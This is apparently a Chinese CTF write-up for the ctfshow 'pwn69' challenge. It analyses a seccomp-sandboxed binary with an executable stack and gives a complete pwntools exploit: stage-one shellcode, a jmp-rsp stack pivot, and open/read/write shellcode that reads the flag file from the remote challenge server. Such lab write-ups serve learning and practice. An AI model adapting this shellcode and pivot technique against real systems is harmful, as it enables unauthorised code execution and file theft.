ctfshow-pwn入门-pwn69 ORW-SHELLCODE
pwn69
可以尝试用ORW读flag flag文件位置为/ctfshow_flag
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
int64 fastcall main(int a1, char a2, char a3)
{
mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
func1();
ignore();
vulns();
return 0LL;
}
其中mmap用于开辟shellcode空间
func1用了seccomp_rule_add,开了沙箱,使用seccomp-tools可以具体查看规则
sudo apt install gcc ruby-dev
gem install seccomp-tools
seccomp-tools dump ./pwn
可以看出只有orw是allow,其他都是kill
函数里还有一个后门函数
void sub_4009EE()
{
__asm { jmp rsp }
}
jmp rsp的作用是返回到栈顶,由于调用时是一个新的函数,所以开辟了新的栈,所以jmp rsp实际上是返回这条指令位置+8处。在栈可执行的情况下,可以用这个构造如下格式 shellcode +gap +jmp rsp +asm(sub rsp 某个数值,jmp rsp)
来跳转执行shellcode
此处长度是0x28+8=0x30
攻击脚本
from pwncli import *
context(arch="amd64",log_level="debug")
elf=ELF('./pwn')
sh=remote("pwn.challenge.ctf.show",28257)
addr=0x123000
jmp_rsp=0x0000000000400A01
payload=asm(shellcraft.read(0,addr,0x100))+asm("mov rax,0x123000; jmp rax")
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm("sub rsp,0x30; jmp rsp")
sh.recvuntil(b'to do')
sh.sendline(payload)
sleep(0.2)
payload1 = shellcraft.open('/ctfshow_flag',0)
payload1 += shellcraft.read(3, addr, 100)
payload1 += shellcraft.write(1, addr, 100)
payload1=asm(payload1)
#z()
sh.sendline(payload1)
sh.interactive()
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。